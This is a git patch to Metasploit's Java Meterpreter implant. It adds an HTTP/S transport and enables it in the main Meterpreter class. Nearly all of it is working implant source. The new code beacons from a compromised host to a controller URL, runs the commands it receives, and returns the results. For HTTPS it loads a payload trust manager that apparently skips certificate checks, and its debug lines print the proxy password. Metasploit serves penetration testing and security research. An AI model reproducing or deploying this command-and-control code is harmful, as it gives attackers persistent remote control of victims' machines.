From fbbff1e7b4894f1326022c357f184d9f1c461f55 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 24 Jun 2015 21:25:23 +1000 Subject: [PATCH] Add support for HTTP/S transports Still need to add certificate hash validation, proxy support, and modifiable user agent. --- .../metasploit/meterpreter/HttpTransport.java | 205 ++++++++++++++++++ .../metasploit/meterpreter/Meterpreter.java | 9 +- .../metasploit/meterpreter/TcpTransport.java | 4 + 3 files changed, 215 insertions(+), 3 deletions(-) create mode 100644 java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java new file mode 100644 index 00000000..32eaf002 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -0,0 +1,205 @@ +package com.metasploit.meterpreter; + +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.OutputStream; +import java.io.EOFException; +import java.io.IOException; + +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; + +import com.metasploit.meterpreter.command.Command; + +public class HttpTransport extends Transport { + private static final int UA_LEN = 256; + private static final int PROXY_HOST_LEN = 128; + private static final int PROXY_USER_LEN = 64; + private static final int PROXY_PASS_LEN = 64; + private static final int CERT_HASH_LEN = 20; + private static final String TRUST_MANAGER = "com.metasploit.meterpreter.PayloadTrustManager"; + private static final byte[] RECV = new byte[]{'R', 'E', 'C', 'V'}; + + private URL targetUrl; + private String userAgent; + private String proxy; + private String proxyUser; + private String proxyPass; + private byte[] certHash; + + public HttpTransport(String url) throws MalformedURLException { + super(url); + + this.targetUrl = new URL(url); + } + + public void bind(DataInputStream in, OutputStream rawOut) { + // http, we don't bind to anything as we're stateless + } + + public int parseConfig(byte[] configuration, int offset) { + offset = this.parseTimeouts(configuration, offset); + + this.proxy = Meterpreter.readString(configuration, offset, PROXY_HOST_LEN); + offset += PROXY_HOST_LEN; + System.out.println("msf : Proxy: " + this.proxy); + + this.proxyUser = Meterpreter.readString(configuration, offset, PROXY_USER_LEN); + offset += PROXY_USER_LEN; + System.out.println("msf : Proxy User: " + this.proxyUser); + + this.proxyPass = Meterpreter.readString(configuration, offset, PROXY_PASS_LEN); + offset += PROXY_PASS_LEN; + System.out.println("msf : Proxy Pass: " + this.proxyPass); + + this.userAgent = Meterpreter.readString(configuration, offset, UA_LEN); + offset += UA_LEN; + System.out.println("msf : User agent: " + this.userAgent); + + this.certHash = Meterpreter.readBytes(configuration, offset, CERT_HASH_LEN); + offset += CERT_HASH_LEN; + + return offset; + } + + public void disconnect() { + } + + protected boolean tryConnect(Meterpreter met) throws IOException { + // given that we don't have a persistent connection, we just assume + // that we "can" connect, and handle the failures when dealing with + // the packet handling + return true; + } + + public TLVPacket readPacket() throws IOException { + System.out.println("msf : packet read"); + URLConnection conn = this.createConnection(); + + if (conn == null) { + return null; + } + + OutputStream outputStream = conn.getOutputStream(); + outputStream.write(RECV); + outputStream.close(); + + DataInputStream inputStream = new DataInputStream(conn.getInputStream()); + + try { + int len = inputStream.readInt(); + int type = inputStream.readInt(); + TLVPacket request = new TLVPacket(inputStream, len - 8); + inputStream.close(); + return request; + } + catch (EOFException ex) { + } + + return null; + } + + public void writePacket(TLVPacket packet, int type) throws IOException { + System.out.println("msf : packet write"); + URLConnection conn = this.createConnection(); + + if (conn == null) { + return; + } + + byte[] data = packet.toByteArray(); + DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream()); + outputStream.writeInt(data.length + 8); + outputStream.writeInt(type); + outputStream.write(data); + outputStream.flush(); + outputStream.close(); + + DataInputStream inputStream = new DataInputStream(conn.getInputStream()); + + try { + int len = inputStream.readInt(); + type = inputStream.readInt(); + // not really worried about the response, we just want to read a packet out of it + // and move on + new TLVPacket(inputStream, len - 8); + inputStream.close(); + } + catch (EOFException ex) { + // log error? + } + } + + public boolean dispatch(Meterpreter met, CommandManager commandManager) { + System.out.println("msf : In the dispatch loop"); + long lastPacket = System.currentTimeMillis(); + long ecount = 0; + + while (!met.hasSessionExpired() && + System.currentTimeMillis() < lastPacket + this.commTimeout) { + try { + System.out.println("msf : Waiting for packet"); + TLVPacket request = this.readPacket(); + + if (request != null) { + ecount = 0; + System.out.println("msf : Packet received"); + + // got a packet, update the timestamp + lastPacket = System.currentTimeMillis(); + + TLVPacket response = request.createResponse(); + int result = commandManager.executeCommand(met, request, response); + + this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE); + + if (result == Command.EXIT_DISPATCH) { + return true; + } + } else { + long delay = ecount++ * 10; + if (ecount >= 10) { + delay *= 10; + } + met.sleep(Math.min(10000, delay)); + } + } catch (Exception ex) { + // any other type of exception isn't good. + System.out.println("msf : Some other exception: " + ex.getClass().getName()); + break; + } + } + + // if we get here we assume things aren't good. + return false; + } + + private URLConnection createConnection() { + URLConnection conn = null; + + try { + conn = this.targetUrl.openConnection(); + + if (this.targetUrl.getProtocol().equals("https")) { + try { + Class.forName(TRUST_MANAGER).getMethod("useFor", new Class[]{URLConnection.class}) + .invoke(null, new Object[]{conn}); + } + catch (Exception ex) { + // perhaps log? + } + + conn.setDoOutput(true); + } + } + catch (IOException ex) { + if (conn != null) { + conn = null; + } + } + + return conn; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index e9bc700c..61393e91 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -8,9 +8,11 @@ import java.io.EOFException; import java.io.IOException; import java.io.OutputStream; import java.io.PrintStream; + +import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; -import java.net.URLConnection; + import java.util.ArrayList; import java.util.Iterator; import java.util.List; @@ -44,7 +46,7 @@ public class Meterpreter { private long sessionExpiry; - private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) { + private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException { System.out.println("msf : Parsing configuration"); // socket handle is 4 bytes, followed by exit func, both of // which we ignore. @@ -72,7 +74,7 @@ public class Meterpreter { if (url.startsWith("tcp")) { t = new TcpTransport(url); } else { - //t = new HttpTransport(url); + t = new HttpTransport(url); } csr = t.parseConfig(configuration, csr); @@ -175,6 +177,7 @@ public class Meterpreter { public void startExecuting() throws Exception { System.out.println("msf : kicking off execution"); while (!this.hasSessionExpired() && this.transports.current() != null) { + System.out.println("msf : initialising transport"); if (!this.transports.current().connect(this)) { System.out.println("msf : connection failed, going to next transport"); continue; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java index 572db312..fe00f4aa 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java @@ -121,6 +121,10 @@ public class TcpTransport extends Transport { System.out.println("msf : Waiting for packet"); TLVPacket request = this.readPacket(); + if (request == null) { + continue; + } + System.out.println("msf : Packet received"); // got a packet, update the timestamp